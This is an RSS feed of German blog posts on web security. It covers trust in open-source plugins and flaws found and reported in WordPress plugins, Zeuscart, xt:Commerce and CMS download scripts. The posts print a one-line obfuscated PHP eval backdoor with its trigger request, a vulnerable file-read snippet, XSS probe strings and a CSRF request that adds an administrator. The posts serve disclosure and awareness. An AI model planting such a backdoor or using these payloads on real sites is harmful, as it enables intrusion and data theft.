<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>mein gott und meine welt &#187; Open Source</title>
	<atom:link href="http://meingottundmeinewelt.de/category/computer/opensource/feed/" rel="self" type="application/rss+xml" />
	<link>http://meingottundmeinewelt.de</link>
	<description>nichts für leute die aus ihren dogmen nicht ausbrechen können</description>
	<lastBuildDate>Tue, 07 Feb 2012 10:02:21 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Auf Schliemanns Spuren</title>
		<link>http://meingottundmeinewelt.de/2011/03/20/auf-schliemanns-spuren/</link>
		<comments>http://meingottundmeinewelt.de/2011/03/20/auf-schliemanns-spuren/#comments</comments>
		<pubDate>Sun, 20 Mar 2011 16:54:49 +0000</pubDate>
		<dc:creator>ich</dc:creator>
				<category><![CDATA[Open Source]]></category>
		<category><![CDATA[Sicherheit]]></category>

		<guid isPermaLink="false">http://meingottundmeinewelt.de/?p=5897</guid>
		<description><![CDATA[if &#40;isset&#40;$_POST&#91;'t'&#93;&#41;&#41; eval&#40;base64_decode&#40;str_rot13&#40;$_POST&#91;'t'&#93;&#41;&#41;&#41;; In dem WordPress-Plugin welches ich hier f&#252;r das Syntax-Highlighting benutze (WP-Syntax (wordpress.org)) stecken 192 php-Dateien, mit zusammen 55.009 Zeilen Code. W&#252;rde man darin die obige eine Zeile Code verstecken und via dem folgenden Request ansprechen http://domain/pfad-zur/manipulierten-datei.php [POST] t=pTujnJ5zoltcBj== so bek&#228;me man die Server-Einstellungen zu dem installierten PHP angezeigt. (POST-Request, damit es nicht [...]]]></description>
			<content:encoded><![CDATA[
<div class="wp_syntax"><div class="code"><pre class="php" style="font-family:monospace;"><span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #990000;">isset</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$_POST</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'t'</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #990000;">eval</span><span style="color: #009900;">&#40;</span><span style="color: #990000;">base64_decode</span><span style="color: #009900;">&#40;</span><span style="color: #990000;">str_rot13</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$_POST</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'t'</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></pre></div></div>

<p>In dem WordPress-Plugin welches ich hier f&#252;r das Syntax-Highlighting benutze (<a target="_blank" href="http://wordpress.org/extend/plugins/wp-syntax/other_notes/" >WP-Syntax</a> (wordpress.org)) stecken 192 php-Dateien, mit zusammen 55.009 Zeilen Code. W&#252;rde man darin die obige eine Zeile Code verstecken und via dem folgenden Request ansprechen</p>
<p><code>http://domain/pfad-zur/manipulierten-datei.php<br />
[POST]<br />
t=pTujnJ5zoltcBj==</code></p>
<p>so bek&#228;me man die Server-Einstellungen zu dem installierten PHP angezeigt.</p>
<p>(POST-Request, damit es nicht in den Logfiles des Servers auftaucht und base64- und ROT13-kodiert, um m&#246;gliche Filter, die vor Angriffen sch&#252;tzen sollen, unbehelligt zu durchlaufen.)<br />
<br style="clearboth" /><br />
Worauf ich hinaus will?</p>
<p>Bei Open Source haben wir zwar, im Gegensatz zu Closed Source, die M&#246;glichkeit in die Quellen reinzuschauen, aber machen wir dies auch? Also, ich habe mir die <strong>55.009 Zeilen Code</strong> in den <strong>192 Dateien</strong> des <strong>einen Plugins</strong> nicht gr&#252;ndlich genug angeschaut, um 100% ausschlie&#223;en zu k&#246;nnen, dass darin ein Trojaner versteckt ist. ;O)</p>
<p>Wer es darauf anlegt Schadcode unters Volk zu bringen, der hat relativ leichtes Spiel. Nur zu bereitwillig werden Templates oder Plugins in einem CMS ungepr&#252;ft installiert.</p>
<p>Nur das Ausprobieren eines Plugins oder Templates k&#246;nnte ein CMS mit einem Trojaner infizieren, indem beim einmaligen Aufruf eine Datei die zu dem System geh&#246;rt um entsprechenden Code erweitert wird. Auch wenn das Plugin oder Template wieder gel&#246;scht wird &mdash; der Schadcode ist im System.</p>
<p>Bekannte und weit verbreitete Projekte sind zwar grunds&#228;tzlich vor solchen Angriffen nicht gefeit, aber um so mehr Benutzer es gibt, und somit Leute die auch in den Code hineinschauen, um so eher besteht die Chance dass eine Manipulation auffliegt. Auch in solchen Projekten kann ein Angreifer zum Erfolg kommen, wenn beispielsweise ein Teammitglied vors&#228;tzlich Sicherheitsl&#252;cken einbaut. Wird seine &#8220;Sicherheitsl&#252;cke&#8221; bekannt, so kann er sich damit herausreden dass er einfach nur schludrig gearbeitet hat.</p>
<p>Eine echte L&#246;sung des Problems gibt es nicht. Man kann nur darauf achten die Quellen f&#252;r Downloads mit Bedacht auszuw&#228;hlen, was leider&#8230; &#8220;<a target="_blank" href="http://heise.de/-1179409" >SourceForge schaltet Server nach Einbruch ab</a>&#8221; (heise.de)<br />
<br style="clear:both" /><br />
Update: 21.03.2011 &#8211; 17:05 Uhr</p>
<p>&#8220;<a target="_blank" href="http://heise.de/-1211781" >Wiki-Server der PHP-Entwickler gehackt</a>&#8221; (heise.de)</p>
]]></content:encoded>
			<wfw:commentRss>http://meingottundmeinewelt.de/2011/03/20/auf-schliemanns-spuren/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>WPPP (WordPress-Plugin-Pfusch)</title>
		<link>http://meingottundmeinewelt.de/2011/02/27/wppp-wordpress-plugin-pfusch/</link>
		<comments>http://meingottundmeinewelt.de/2011/02/27/wppp-wordpress-plugin-pfusch/#comments</comments>
		<pubDate>Sun, 27 Feb 2011 14:24:54 +0000</pubDate>
		<dc:creator>ich</dc:creator>
				<category><![CDATA[Open Source]]></category>
		<category><![CDATA[Sicherheit]]></category>
		<category><![CDATA[Wordpress]]></category>

		<guid isPermaLink="false">http://meingottundmeinewelt.de/?p=5787</guid>
		<description><![CDATA[20.02.2011: &#8220;WordPress Plugin &#8212; jQuery Drop Down Mega Menu Widget&#8221; (designchemical.com) 25.02.2011: &#8220;jQuery Plugin – Mega Drop Down Menu&#8221; (designchemical.com) 25.02.2011: &#8220;jQuery Mega Menu 1.0 WordPress Plugin Local File Inclusion&#8221; (exploit-db.com) In der Beschreibung des Exploits steht zwar &#8220;Local File Inclusion&#8221; aber es handelt sich in diesem Fall eher um Directory Traversal (de.wikipedia.org), da die [...]]]></description>
			<content:encoded><![CDATA[<p>20.02.2011:<br />
&#8220;<a target="_blank" href="http://www.designchemical.com/blog/index.php/wordpress-plugins/wordpress-plugin-jquery-drop-down-mega-menu-widget/" >WordPress Plugin &mdash; jQuery Drop Down Mega Menu Widget</a>&#8221; (designchemical.com)</p>
<p>25.02.2011:<br />
&#8220;<a target="_blank" href="http://www.designchemical.com/blog/index.php/jquery/jquery-plugin-mega-drop-down-menu/" >jQuery Plugin – Mega Drop Down Menu</a>&#8221; (designchemical.com)</p>
<p>25.02.2011:<br />
&#8220;<a target="_blank" href="http://www.exploit-db.com/exploits/16250/" >jQuery Mega Menu 1.0 WordPress Plugin Local File Inclusion</a>&#8221; (exploit-db.com)<br />
<br style="clear:both" /><br />
In der Beschreibung des Exploits steht zwar &#8220;Local File Inclusion&#8221; aber es handelt sich in diesem Fall eher um <a target="_blank" href="http://de.wikipedia.org/wiki/Directory_Traversal" >Directory Traversal</a> (de.wikipedia.org), da die Datei nicht ausgef&#252;hrt, sondern &#8220;nur&#8221; angezeigt wird.</p>
<blockquote><p>Unter Directory Traversal versteht man eine Sicherheitsl&#252;cke in Web-Programmen wie z. B. einem Webserver oder einer Webanwendung, bei der durch Manipulation von Pfadangaben auf beliebige Dateien und Verzeichnisse zugegriffen werden kann, die daf&#252;r eigentlich nicht vorgesehen waren. Diese kann so ausgenutzt werden, dass sensible Daten wie Passw&#246;rter preisgegeben werden.</p></blockquote>
<p>Der Klassiker unter den Beispielen f&#252;r Directory Traversal ist <a href="../../../../../../wp-content/images/wppp-passwd.png" rel="lightbox[wppp]" title="Directory Traversal: /etc/passwd ">/etc/passwd</a>. In der versteckten <a href="../../../../../../wp-content/images/wppp-htaccess.png" rel="lightbox[wppp]" title="Directory Traversal: .htaccess">.htaccess</a> finden wir einen Hinweis wo die <a href="../../../../../../wp-content/images/wppp-php_ini.png" rel="lightbox[wppp]" title="Directory Traversal: php.ini">php.ini</a> zu finden ist, usw. usw. Kennt man sich etwas mit dem System aus welches man angreift, so kann man in k&#252;rzester Zeit an die sicherheitskritischen Informationen gelangen.<br />
<br style="clear:both" /><br />
Das eigentliche Problem des Plugins steckt in der <code>skin.php</code>:</p>

<div class="wp_syntax"><div class="code"><pre class="php" style="font-family:monospace;"><span style="color: #990000;">header</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;Content-type: text/css&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
<span style="color: #000088;">$id</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$_GET</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'widget_id'</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span>
<span style="color: #000088;">$skin</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$_GET</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'skin'</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span>
&nbsp;
<span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #339933;">!</span><span style="color: #990000;">empty</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$skin</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>	
   <span style="color: #000088;">$css</span> <span style="color: #339933;">=</span> <span style="color: #990000;">file_get_contents</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'./skins/'</span> <span style="color: #339933;">.</span> <span style="color: #000088;">$skin</span> <span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
   <span style="color: #000088;">$widget_skin</span> <span style="color: #339933;">=</span> <span style="color: #990000;">preg_replace</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'/%ID%/'</span><span style="color: #339933;">,</span><span style="color: #000088;">$id</span><span style="color: #339933;">,</span> <span style="color: #000088;">$css</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
   <span style="color: #b1b100;">echo</span> <span style="color: #000088;">$widget_skin</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span></pre></div></div>

<p>Der Inhalt aus <code>$skin</code> wird ungefiltert &#252;bernommen.<br />
<br style="clear:both" /><br />
Seit ein paar Minuten gibt es eine neue Version, in der die L&#252;cke behoben ist. Dieser Entwickler hat schnell reagiert, evtl. aufgrund meines Hinweises.</p>
<p>Aber grunds&#228;tzlich wird deutlich, dass man sich sehr schnell Schwachstellen in sein System bauen kann, weil es einfach zu viele nicht vertrauensw&#252;rdige Quellen f&#252;r Software gibt. Open Source hilft hier schnell die L&#252;cke zu finden, aber es ist kein Garant daf&#252;r dass sich &#252;berhaupt jemand die M&#252;he macht in fremden Code nach Sicherheitsl&#252;cken zu schauen.</p>
]]></content:encoded>
			<wfw:commentRss>http://meingottundmeinewelt.de/2011/02/27/wppp-wordpress-plugin-pfusch/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>St&#252;ck Schrott tarnt sich als Shop</title>
		<link>http://meingottundmeinewelt.de/2010/08/05/stueck-schrott-tarnt-sich-als-shop/</link>
		<comments>http://meingottundmeinewelt.de/2010/08/05/stueck-schrott-tarnt-sich-als-shop/#comments</comments>
		<pubDate>Thu, 05 Aug 2010 06:29:39 +0000</pubDate>
		<dc:creator>ich</dc:creator>
				<category><![CDATA[CSRF]]></category>
		<category><![CDATA[Open Source]]></category>
		<category><![CDATA[Sicherheit]]></category>
		<category><![CDATA[XSS]]></category>

		<guid isPermaLink="false">http://meingottundmeinewelt.de/?p=5094</guid>
		<description><![CDATA[Vorgestern las ich von einem neuen (?) Shopsystem: &#8220;E-Commerce System Zeuscart – eine Alternative f&#252;r Magento?&#8221; (t3n.de) Um die Antwort vorweg zu nehmen: Nein! Wenn ich eine neue Seite besuche dann kann ich nicht anderes, da muss ich einfach mal irgendwo ein '&#34;&#62;xss eingeben&#8230; :O) Weiteres reflexives Cross-Site Scripting findet sich noch auf den folgenden [...]]]></description>
			<content:encoded><![CDATA[<p>Vorgestern las ich von einem neuen (?) Shopsystem:<br />
&#8220;<a target="_blank" href="http://t3n.de/news/open-source-vorstellung-e-commerce-system-zeuscart-276934/" >E-Commerce System Zeuscart – eine Alternative f&#252;r Magento?</a>&#8221; (t3n.de)</p>
<p>Um die Antwort vorweg zu nehmen: Nein!<br />
<br class="clearboth" /><br />
Wenn ich eine neue Seite besuche dann kann ich nicht anderes, da muss ich einfach mal irgendwo ein <code>'&quot;&gt;xss</code> eingeben&#8230; :O)<br />
<img src="../../../../../../wp-content/images/zeuscart-xss.gif" alt="Zeuscart XSS" /><br />
Weiteres reflexives Cross-Site Scripting findet sich noch auf den folgenden Seiten: <a href="../../../../../../wp-content/images/zc-xss-admin-password-forgot.gif" rel="lightbox[zeuscart]" title="Zeuscart - XSS - Admin - Passwort vergessen">Passwort vergessen</a>, <a href="../../../../../../wp-content/images/zc-xss-suche.gif" rel="lightbox[zeuscart]" title="Zeuscart - XSS - Suche">Suche</a>, <a href="../../../../../../wp-content/images/zc-xss-registrierung.gif" rel="lightbox[zeuscart]" title="Zeuscart - XSS - Registrierung">Registrierung</a> und <a href="../../../../../../wp-content/images/zc-xss-login.gif" rel="lightbox[zeuscart]" title="Zeuscart - XSS - Login">Login</a>.</p>
<p>Es gibt aber auch die M&#246;glichkeit persistent eigenen Code im Shop zu speichern. Eine Seite die zum <a href="../../../../../../wp-content/images/zc-xss-pagemgt.gif" rel="lightbox[zeuscart]" title="Zeuscart - XSS - Pagemanagement">Pagemanagement</a> aus dem Backend geh&#246;rt kann von nicht angemeldeten Besuchern des Shops aufgerufen werden. Auf der Seite k&#246;nnen bestehende Eintr&#228;ge editiert, gel&#246;scht und neue hinzugef&#252;gt werden.<br />
<br class="clearboth" /><br />
Seiten aus dem Backend die f&#252;r jeden Besucher aufrufbar sind, und nicht nur f&#252;r Shopadmins, gibt es noch weitere:</p>
<ul>
<li>Ausgabe der <code>phpinfo()</code>-Seite.</li>
<li>Export aller Produktdaten im Excel-, XML-, CSV- oder TAB-Format.</li>
<li>Export aller Kundendaten im Excel-, XML-, CSV- oder TAB-Format.</li>
<li>L&#246;schen der Aktivit&#228;ten des Admins, die in einer Tabelle gelistet werden.</li>
<li>Anzeige der letzten Bestellungen der Kunden, inkl. Name und E-Mail-Adresse.</li>
</ul>
<p><br class="clearboth" /><br />
Nach der Registrierung im Demoshop testete ich auch die Passwort-vergessen-Funktion und wunderte mich gar nicht mehr, dass das von mir vergebene Passwort in der E-Mail stand. Daf&#252;r gibt es zwei m&#246;gliche Gr&#252;nde: Entweder wird das Passwort direkt im Klartext in der Datenbank gespeichert oder es wird so kodiert, dass es wieder dekodiert werden kann.</p>
<p>Ich habe mir die Software runtergeladen und kurz in den Quellcode reingeschaut. Die Passworte werden per <code>base64_encode()</code> kodiert und nicht per MD5 oder SHA1 gehasht. Das bedeutet dass alle Passworte die in der Datenbank stehen per <code>base64_decode()</code> dekodiert, also in Klartext umgewandelt werden k&#246;nnen.</p>
<p>Hier ein Beispiel f&#252;r das Kodieren und Dekodieren:<br />
<img src="../../../../../../wp-content/images/zc-kodiert.gif" alt="Base64 Kodiert" /><br />
<img src="../../../../../../wp-content/images/zc-dekodiert.gif" alt="Base64 Dekodiert" /><br />
Und hier kann man dies online ausprobieren: &#8220;<a target="_blank" href="http://www.php-einfach.de/base64_generator.php" >Base64 Kodierer / Base64 Generator</a>&#8221; (php-einfach.de)<br />
<br class="clearboth" /><br />
Und, nat&#252;rlich fand ich auch noch an vielen Ecken Cross-Site Request Forgery.</p>
<p>W&#252;rde dies in eine Seite als unsichtbares Iframe eingebaut und der Shopadmin besucht die Seite w&#228;hrend er eingeloggt ist, bekommt er einen weiteren Admin ins System gepflanzt:<br />
<code>http://domain.tld/admin/<br />
?do=subadminmgt&amp;action=insert<br />
[POST]<br />
subadminname=adminb<br />
&amp;subadminpassword=123456<br />
&amp;subadminemail=adminb%40domain.tld<br />
&amp;insert=Add</code><br />
<br class="clearboth" /><br />
Noch ein paar Infos f&#252;r die die sich diese Software anschauen m&#246;chten:</p>
<p>Backend: <a target="_blank" href="http://ajdemos.com/demo/zeuscart/v3/admin/" >http://ajdemos.com/demo/zeuscart/v3/admin/</a><br />
User Name: demoadmin<br />
Password: demo123</p>
<p>Frontend: <a target="_blank" href="http://ajdemos.com/demo/zeuscart/v3/" >http://ajdemos.com/demo/zeuscart/v3/</a><br />
User Name: demouser@domainname.com<br />
Password: demouser</p>
<p>Download: <a target="_blank" href="http://www.zeuscart.com/download/Zeuscart3.zip" >http://www.zeuscart.com/download/Zeuscart3.zip</a><br />
<br class="clearboth" /><br />
Ich bin sicher dass es noch weitere Schwachstellen gibt, beispielsweise zu SQL-Injection, aber die gefundenen L&#252;cken sind schon vollkommen ausreichend, um die Nutzung abzulehnen. Wer nun noch ernsthaft &#252;berlegt dieses St&#252;ck Schrott einsetzen zu wollen &mdash; dem ist nicht mehr zu helfen.</p>
<p>Vielleicht ist dies auch nur Teil einer Studie, so nach dem Motto: &#8220;Wie schrottig darf eine Software sein, bis sie niemand mehr benutzen mag?&#8221; ;O)<br />
<br class="clearboth" /><br />
Eigentlich schreibe ich ja nicht so kritisch &#252;ber eine Software, aber dieses Teil ist so schlecht und hat so viele Schwachstellen, dass man nicht davon ausgehen kann, dass die Entwickler (immerhin schon Version 3) auf diese noch nie hingewiesen wurden. Eine Google-Recherche nach &#8220;Zeuscart&#8221; f&#246;rderte nur Testinstallationen oder bereits gehackte Shops zutage</p>
]]></content:encoded>
			<wfw:commentRss>http://meingottundmeinewelt.de/2010/08/05/stueck-schrott-tarnt-sich-als-shop/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>XSS: xt:Commerce</title>
		<link>http://meingottundmeinewelt.de/2008/11/03/xss-xtcommerce/</link>
		<comments>http://meingottundmeinewelt.de/2008/11/03/xss-xtcommerce/#comments</comments>
		<pubDate>Mon, 03 Nov 2008 18:44:40 +0000</pubDate>
		<dc:creator>ich</dc:creator>
				<category><![CDATA[Open Source]]></category>
		<category><![CDATA[Sicherheit]]></category>
		<category><![CDATA[XSS]]></category>

		<guid isPermaLink="false">http://meingottundmeinewelt.de/?p=1076</guid>
		<description><![CDATA[Wenn ich irgendwo lese Agentur XY hat einen Relaunch der WebSite f&#252;r YZ durchgef&#252;hrt&#8230; dann schaue ich da nat&#252;rlich auch mal nach XSS &#8211; ich bin, was so etwas angeht, irgendwie sehr neugierig. ;O) Heute las ich wieder solch eine Meldung. Es ging um einen neuen Shop, der mit xt:Commerce (xt-commerce.com) realisiert wurde und zwar [...]]]></description>
			<content:encoded><![CDATA[<p>Wenn ich irgendwo lese Agentur XY hat einen Relaunch der WebSite f&#252;r YZ durchgef&#252;hrt&#8230; dann schaue ich da nat&#252;rlich auch mal nach XSS &#8211; ich bin, was so etwas angeht, irgendwie sehr neugierig. ;O)</p>
<p>Heute las ich wieder solch eine Meldung. Es ging um einen neuen Shop, der mit <a href="http://www.xt-commerce.com/"  target="_blank" title="Link zu xt-commerce.com">xt:Commerce</a> (xt-commerce.com) realisiert wurde und zwar in der Version <em>v3.0.4 SP2.1</em>. Tja, was soll ich sagen&#8230; nat&#252;rlich (!?) gibt es dort auch eine XSS-L&#252;cke. Also habe ich mir mal den Demo-Shop der Entwickler angeschaut &#8211; in der Annahme das dort die neueste Version l&#228;uft &#8211; aber dort wird die Version <em>v3.0.4 SP2</em> benutzt. Auch dort gibt es diese L&#252;cke. Daraufhin habe ich die Jungs angeschrieben und auf diese L&#252;cke hingewiesen, eben kam die Antwort:</p>
<blockquote><p>
Danke f&#252;r den Hinweis, aber der Demoshop ist keine aktuelle xt:Commerce Version.</p>
<p>In aktuellster Version ist dies nicht mehr M&#246;glich.
</p></blockquote>
<p>Leider ist auf der xt:Commerce-WebSite nicht zu erkennen welche Version die aktuellste ist, da dort nur von <em>v3.0.4</em> die Rede ist.</p>
<p>Laut dem <a href="http://www.gunnart.de/tipps-und-tricks/xtcommerce-version-304-sp21-fertig/"  target="_blank" title="Link zu gunnart.de">hier</a> (gunnart.de) ist die <em>3.0.4 SP2.1</em> von August 2006. Scheint mir nicht mehr so ganz frisch zu sein&#8230; wird das Projekt nicht mehr gepflegt? Bei Open Source ist eine zwei Jahre alte Version ja irgendwie asbach. ;O)</p>
<p>Von gunnart gibt es evtl. auch einen <a href="http://www.gunnart.de/tipps-und-tricks/xtcommerce-fehlermeldung-im-inputfilter/"  target="_blank" title="Link zu gunnart.de">L&#246;sungsansatz</a> (gunnart.de) f&#252;r die XSS-L&#252;cke. Da ich selber xt:Commerce nicht verwende kann ich nicht sagen ob die class.inputfilter.php alle Eingaben filtert oder nur aus bestimmten Eingabefeldern.</p>
<p>Nach kurzer Recherche, nach Shops die xt:Commerce benutzen, sieht es so aus, als ob nicht alle Shops betroffen sind. Evtl. wurden bei den nicht betroffenen Shops bereits &#196;nderungen an der class.inputfilter.php vorgenommen.</p>
<p>Um zu pr&#252;fen ob der eigene Shop betroffen ist kann man einfach mal in den Suchschlitz <em>&quot;&gt;&lt;h1&gt;XSS&lt;/h1&gt;</em> einf&#252;gen und die Suche starten. Sollte dann irgendwie etwas ungew&#246;hnliches angezeigt werden, so hat der Shop auch eine XSS-L&#252;cke.</p>
]]></content:encoded>
			<wfw:commentRss>http://meingottundmeinewelt.de/2008/11/03/xss-xtcommerce/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Weitere Datenlecks bei der Telekom&#8230;</title>
		<link>http://meingottundmeinewelt.de/2008/10/16/weitere-datenlecks-bei-der-telekom/</link>
		<comments>http://meingottundmeinewelt.de/2008/10/16/weitere-datenlecks-bei-der-telekom/#comments</comments>
		<pubDate>Thu, 16 Oct 2008 08:49:35 +0000</pubDate>
		<dc:creator>ich</dc:creator>
				<category><![CDATA[Korinthenkacker]]></category>
		<category><![CDATA[Open Source]]></category>
		<category><![CDATA[Sicherheit]]></category>

		<guid isPermaLink="false">http://meingottundmeinewelt.de/?p=943</guid>
		<description><![CDATA[werde ich ganz bestimmt finden, ich finde immer etwas. :O) Die Telekom hatte mir gestern geantwortet und u.a. geschrieben: In den kommenden Tagen m&#246;chten wir uns bei Ihnen mit einer kleinen Aufmerksamkeit erkenntlich zeigen. Da bin ich jetzt mal gespannt, was da kommt. Wenn es ein Familien-Kugelschreiber-Set mit Telekom-Aufdruck ist, dann wird das nat&#252;rlich bei [...]]]></description>
			<content:encoded><![CDATA[<p>werde ich ganz bestimmt finden, ich finde immer etwas. :O)</p>
<p>Die Telekom hatte mir gestern geantwortet und u.a. geschrieben:</p>
<blockquote><p>
In den kommenden Tagen m&#246;chten wir uns bei Ihnen mit einer kleinen Aufmerksamkeit erkenntlich zeigen.
</p></blockquote>
<p>Da bin ich jetzt mal gespannt, was da kommt. Wenn es ein Familien-Kugelschreiber-Set mit Telekom-Aufdruck ist, dann wird das nat&#252;rlich bei eBay versteigert. ;O)</p>
<p>Bevor ich den Download-Script-Bug bei der T-ochter gefunden hatte, dachte ich das diese Art von Bug ausgestorben w&#228;re. Ich habe noch mal etwas per <a href="http://www.google.de/"  target="_blank" title="Link zu google.de">Hacker-Tool No.1</a> gesucht und nat&#252;rlich auch einige WebSites gefunden, die auch diesen Bug aufweisen. Auch diesmal habe ich wieder E-Mails dazu versendet&#8230; :O)<br />
<br class="clearboth" /><br />
Ein CMS-Hersteller meinte:</p>
<blockquote><p>
da haben Sie uns tats&#228;chlich eiskalt erwischt. Wir werden uns sofort um eine L&#246;sung bem&#252;hen und zusehen, dass unsere Kunden ein Update erhalten. Ich hatte mich beim Ansehen des Logs schon gewundert, wer da mit dem Download herumspielt. Diese offensichtliche, beinahe schon klassische L&#252;cke ist in der Tat sehr &#228;rgerlich, da wir grossen Wert auf eine saubere Umsetzung legen.</p>
<p>Als kleinen Dank f&#252;r Ihre Hilfe m&#246;chte ich Ihnen eine Lizenz kostenlos f&#252;r Ihren freien Gebrauch anbieten. </p></blockquote>
<p>F&#252;r eine Lizenz m&#252;&#223;te man 600 Euro berappen! also mu&#223; die Telekom sich anstrengen, denn der CMS-Hersteller ist im Vergleich zur Telekom nat&#252;rlich ein Zwerg. ;O)</p>
<p>Wer sich wundert was da so in seinen Logfiles steht, der sollte auch mal etwas genauer hinschauen. Die da spielen sind nicht immer nur WhiteHats.<br />
<br class="clearboth" /><br />
Ein WebMaster schreibt:</p>
<blockquote><p>
&lt;AU!&gt;</p>
<p>Vielen Dank f&#252;r den Hinweis. Diese M&#246;glichkeit war mir nicht bekannt. Da muss ich auf jeden Fall etwas tun.</p>
<p>Eigentlich muss die Seite sowieso neu gemacht werden (sehr alt und hatte vor kurzem auch viele SQL-Injection L&#252;cken), aber das muss ich nun auch sofort angehen. Dieses Download Script werde ich erst einmal deaktivieren und dann muss die Struktur neu &#252;berdacht werden, also alles was zum Download gedacht ist in ein unsicheres Verzeichnis und alle asp Dateien und andere Dokumente, die nicht f&#252;r alle erreichbar sein sollen in ein gesperrtes Verzeichnis.</p>
<p>Meine einzige Ausrede: Ich habe das schon ohnehin &#252;berholte System letzten Dezember &#252;bernommen und anscheinend davon ausgegangen, das alles I.O. ist.</p>
<p>Nochmals vielen Dank f&#252;r den hilfreichen Hinweis.</p>
<p>&lt;/AU!&gt;
</p></blockquote>
<p>Ein WebMaster mit Humor. Dieses &lt;AU!&gt;&#8230; &lt;/AU!&gt; habe fast immer wenn ich am Surfen bin&#8230; da gibbet WebSites&#8230; oh mein Gott&#8230;<br />
<br class="clearboth" /><br />
Und ein Dienstleister:</p>
<blockquote><p>
vielen dank f&#252;r den Hinweis. Dies ist uns bewu&#223;t.<br />
Wir arbeiten daran die Probleme zu beheben.
</p></blockquote>
<p>Jo, da waren n&#228;mlich schon Hacker aus Polen drauf und haben sich selber einen News-Eintrag geschrieben, der f&#252;r 4 Tage online war. Ist schon klar das man auf seiner eigenen WebSite nicht jeden Tag rumsurft, aber hat das denn kein Besucher bemerkt? Oder sind diese Defacements schon so weit verbreitet das es gar niemanden mehr auff&#228;llt das es eigentlich nicht zur WebSite geh&#246;rt?<br />
<br class="clearboth" /><br />
Ich habe mehrere verschiedene Content Management Systeme gefunden in denen dieser Bug zu finden ist, die nat&#252;rlich von verschiedenen WebSites benutzt werden, also sind nun mehr als eine WebSite von dem Bug betroffen. Alle diese CMS sind nicht Open Source. Ich behaupte jetzt mal, wenn es Open Source w&#228;re, dann h&#228;tten ganz sicher schon irgendwelche Korinthenkacker wie ich, den Fehler, und noch weitere, gefunden. Deswegen bin ich ein gro&#223;er Freund von Open Source.</p>
<p>Und noch einmal f&#252;r alle die die Software entwickeln:<br />
Open Source != kostenlos<br />
&#220;berlegt es euch &#8211; zur Sicherheit eurer Kunden!</p>
]]></content:encoded>
			<wfw:commentRss>http://meingottundmeinewelt.de/2008/10/16/weitere-datenlecks-bei-der-telekom/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Pixie &#8211; CMS mit Blogs, Plugins, etc. aus UK</title>
		<link>http://meingottundmeinewelt.de/2008/09/08/pixie-cms-mit-blogs-plugins-etc-aus-uk/</link>
		<comments>http://meingottundmeinewelt.de/2008/09/08/pixie-cms-mit-blogs-plugins-etc-aus-uk/#comments</comments>
		<pubDate>Mon, 08 Sep 2008 14:24:17 +0000</pubDate>
		<dc:creator>ich</dc:creator>
				<category><![CDATA[Open Source]]></category>
		<category><![CDATA[Software]]></category>

		<guid isPermaLink="false">http://meingottundmeinewelt.de/?p=651</guid>
		<description><![CDATA[Gestern bin ich auf ein weiteres CMS gesto&#223;en: Pixie (www.getpixie.co.uk) ist der Name. Es ist Open Source und es ist kostenlos. Der Slogan lautet &#8220;The Small, Simple, Site Maker.&#8221; und ja, so ist es. Ich glaube dieses CMS kann auch nicht-Computerfreaks begeistern, da es sehr einfach zu bedienen ist. Auf der WebSite zu Pixie findet [...]]]></description>
			<content:encoded><![CDATA[<p>Gestern bin ich auf ein weiteres CMS gesto&#223;en: <a href="http://www.getpixie.co.uk/"  target="_blank" title="Link zu getpixie.co.uk">Pixie</a> (www.getpixie.co.uk) ist der Name. Es ist Open Source und es ist kostenlos.<br />
<a href="http://www.getpixie.co.uk/"  target="_blank" title="Link zu getpixie.co.uk"><img src="../../../../../../wp-content/images/pixie.jpg" width="483" height="75" alt="Pixie - CMS" border="0" /></a><br />
Der Slogan lautet &#8220;The Small, Simple, Site Maker.&#8221; und ja, so ist es. Ich glaube dieses CMS kann auch nicht-Computerfreaks begeistern, da es sehr einfach zu bedienen ist.</p>
